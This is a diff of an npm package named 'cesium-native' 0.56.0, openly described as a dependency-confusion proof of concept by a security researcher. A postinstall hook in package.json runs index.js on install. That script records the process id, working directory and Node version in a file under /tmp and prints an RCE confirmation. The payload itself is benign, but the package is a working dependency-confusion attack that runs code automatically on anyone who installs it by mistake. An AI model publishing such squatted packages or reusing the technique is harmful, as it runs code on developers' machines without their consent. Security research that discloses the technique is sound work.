cesium-native 0.56.0

package/README.md

@@ -0,0 +1,14 @@
+# cesium-native
+
+RCE From The Package `cesium-native` Due To Dependency Confusion Resulting To RCE.
+
+> ⚠️ This package name is a prove of an RCE by @Steiner254.
+
+## Security Proof of Concept
+
+This package contains a **non-malicious proof of remote code execution (RCE)**.
+
+When installed or imported, it:
+- Executes JavaScript code
+- Writes a harmless file to `/tmp`
+- Produces console output confirming execution

package/index.js

@@ -0,0 +1,18 @@
+const fs = require("fs");
+const path = require("path");
+
+(function proofOfRCE() {
+  const output = {
+    message: "RCE proof: arbitrary code execution achieved",
+    pid: process.pid,
+    cwd: process.cwd(),
+    node: process.version,
+    timestamp: new Date().toISOString()
+  };
+
+  const filePath = path.join("/tmp", "rce-proof-cesium-native.txt");
+
+  fs.writeFileSync(filePath, JSON.stringify(output, null, 2));
+
+  console.log("[RCE-POC] Code execution confirmed.");
+})();

package/package.json

@@ -0,0 +1,13 @@
+{
+  "name": "cesium-native",
+  "version": "0.56.0",
+  "description": "Dependency Confusion to RCE By Steiner254",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node index.js"
+  },
+  "publishConfig": {
+    "access": "public"
+  }
+}
+